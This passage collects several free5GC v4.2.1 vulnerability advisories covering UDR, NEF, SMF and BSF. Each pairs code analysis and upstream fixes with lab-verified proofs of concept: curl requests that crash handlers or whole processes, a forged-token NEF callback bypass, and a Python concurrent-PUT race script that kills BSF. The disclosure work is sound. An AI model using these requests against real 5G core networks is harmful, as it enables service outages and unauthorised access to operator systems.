Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000
Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface): go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) In the processor: go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USERNOTFOUND") }
UESubsData := value.(udrcontext.UESubsData) // panics: nil interface When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(udrcontext.UESubsData) panics with: panic: interface conversion: interface {} is nil, not context.UESubsData
Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2170 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:53 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:56 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:61
PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.
1. Restart UDR (clean state -- proves no precondition is needed): docker restart udr
2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
3. Trigger the panic with one DELETE for a nonexistent ueId=x: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0
4. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at eventamfsubscriptioninfodocument.go:61 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:61 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.
This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USERNOTFOUND response would have.
No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60
Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks , ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.
This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.
Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000
Precondition (one authenticated EE-subscription create allocates UE state): go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udrcontext.UESubsData)) value, = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udrcontext.EeSubscriptionCollection)
Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry: go , ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTIONNOTFOUND") }
if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTIONNOTFOUND") } When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.
Code evidence (paths in free5gc/udr): - Precondition route + handler (EE-subscription create that allocates UE state): - NFs/udr/internal/sbi/apidatarepository.go:600 - NFs/udr/internal/sbi/apidatarepository.go:602 - NFs/udr/internal/sbi/apidatarepository.go:2528 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:25 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:30 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:38 - Vulnerable delete route + dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil deref): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:62 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:64 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:69
PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.
1. Restart UDR (clean state): docker restart udr
2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
3. Create one EE subscription to populate UESubsCollection for ueId=x: curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' \ -H 'Content-Type: application/json' \ --data '{}' HTTP/1.1 201 Created
4. Trigger the panic with a nonexistent subsId: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0
5. UDR container logs (docker logs udr) confirm the nil-pointer panic at eventamfsubscriptioninfodocument.go:69 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:69 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.
This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTIONNOTFOUND response would have.
No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60
Summary free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.
This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.
The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z) - NEF endpoint: http://10.100.200.19:8000
Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased): go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)
switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.INPBDETAILSCTXSTR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.
Code evidence (paths in free5gc/nef): - Patch handler core path: - NFs/nef/internal/sbi/processor/pfd.go:563 - NFs/nef/internal/sbi/processor/pfd.go:610 - Panic site (nil-deref on problemDetails.Cause): - NFs/nef/internal/sbi/processor/pfd.go:622 - Route exposure / dispatch: - NFs/nef/internal/sbi/apipfd.go:168 - NFs/nef/internal/sbi/apipfd.go:188
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.
1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}'
2. Create a PFD-management transaction: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
3. Make UDR access fail (lab simulation): docker stop nrf
4. Trigger the panic with one PATCH: curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' HTTP/1.1 500 Internal Server Error Content-Length: 0
5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement: [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(Server).apiPatchIndividualApplicationPFDManagement .../apipfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |
6. Restore for further testing: docker start nrf
Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.
Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22
Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.
Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z) - SMF endpoint: http://10.100.200.6:8000
The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:
Vulnerable handler dispatches into topology parsing: POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs")
Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration(): - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:72 - Pool parsing (input from attacker JSON): - NFs/smf/internal/context/userplaneinformation.go:413 - Overlap check that calls Fatalf: - NFs/smf/internal/context/userplaneinformation.go:479
The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler: - NFs/smf/internal/context/userplaneinformation.go:416 - NFs/smf/internal/context/userplaneinformation.go:424 - NFs/smf/internal/context/userplaneinformation.go:430
PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16): curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'
Client-side observation (server died mid-request, no HTTP response written): curl: (52) Empty reply from server
2. Confirm the SMF container exited: docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' smf Exited (1) 9 seconds ago
3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process: [FATA][SMF][Init] overlap cidr value between UPFs
Impact Unauthenticated process-kill DoS on the SMF management plane.
1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.
Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.
No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
Summary free5GC's NEF mounts the nnef-callback route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid NotifId, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime ServiceList does not declare it (it lists only nnef-pfdmanagement and nnef-oam).
Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: free5gc/nef:v4.2.1 - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, yet the nnef-callback route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by NotifId.
Code evidence (paths in free5gc/nef): - Callback route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:64 - Callback route exposed at /notification/smf: NFs/nef/internal/sbi/apicallback.go:13 - API layer reads raw request bytes and deserializes them before any auth check: NFs/nef/internal/sbi/apicallback.go:23 - Processor looks up the subscription by NotifId: NFs/nef/internal/sbi/processor/callback.go:13 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC Reproduced against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
Send a forged callback request: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf
Observed output: HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"}
The 404 is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (docker logs nef) confirm the callback handler was reached: [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF nnef-callback SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen NotifId happened to be invalid.
Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid NotifId can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group.
The nnef-callback route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24
Summary free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).
The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z) - NEF endpoint: http://10.100.200.19:8000
Vulnerable notifier path: go , err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent }
The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.
Code evidence (paths in free5gc/nef): - Notifier dispatch: - NFs/nef/internal/sbi/notifier/pfdnotifier.go:135 - Fatal call site (process exit): - NFs/nef/internal/sbi/notifier/pfdnotifier.go:142
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.
1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1
2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1
3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' The PFD POST itself returns 201, but immediately afterward NEF exits.
4. Confirm the NEF container is dead (exited, exit=1): docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' status=exited restart=0 exit=1
5. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused
Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.
In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.
No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
Summary free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.
This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.
Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22 - BSF endpoint: http://10.100.200.11:8000
Read side (locked): go func (c BSFContext) GetSubscription(subId string) (BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock()
sub, exists := c.Subscriptions[subId] return sub, exists }
Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()): go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription
Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.
Code evidence (paths in free5gc/bsf): - Read side (locked): - NFs/bsf/internal/sbi/processor/subscriptions.go:81 - NFs/bsf/internal/context/context.go:726 - NFs/bsf/internal/context/context.go:730 - Unsafe write side (the create-if-absent branch in PUT, no lock): - NFs/bsf/internal/sbi/processor/subscriptions.go:111 - NFs/bsf/internal/sbi/processor/subscriptions.go:114
The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.
PoC Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.
1. Obtain a valid nbsf-management token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
2. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): python import json, threading, urllib.request
TOKEN = "<validnbsfmanagementjwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCFBINDINGCREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode()
def sendput(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.addheader("Authorization", f"Bearer {TOKEN}") req.addheader("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read()
threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=sendput, args=(i, n))) for t in threads: t.start() for t in threads: t.join()
3. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process: [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
4. Container state confirms exit code 2: exited|2|0
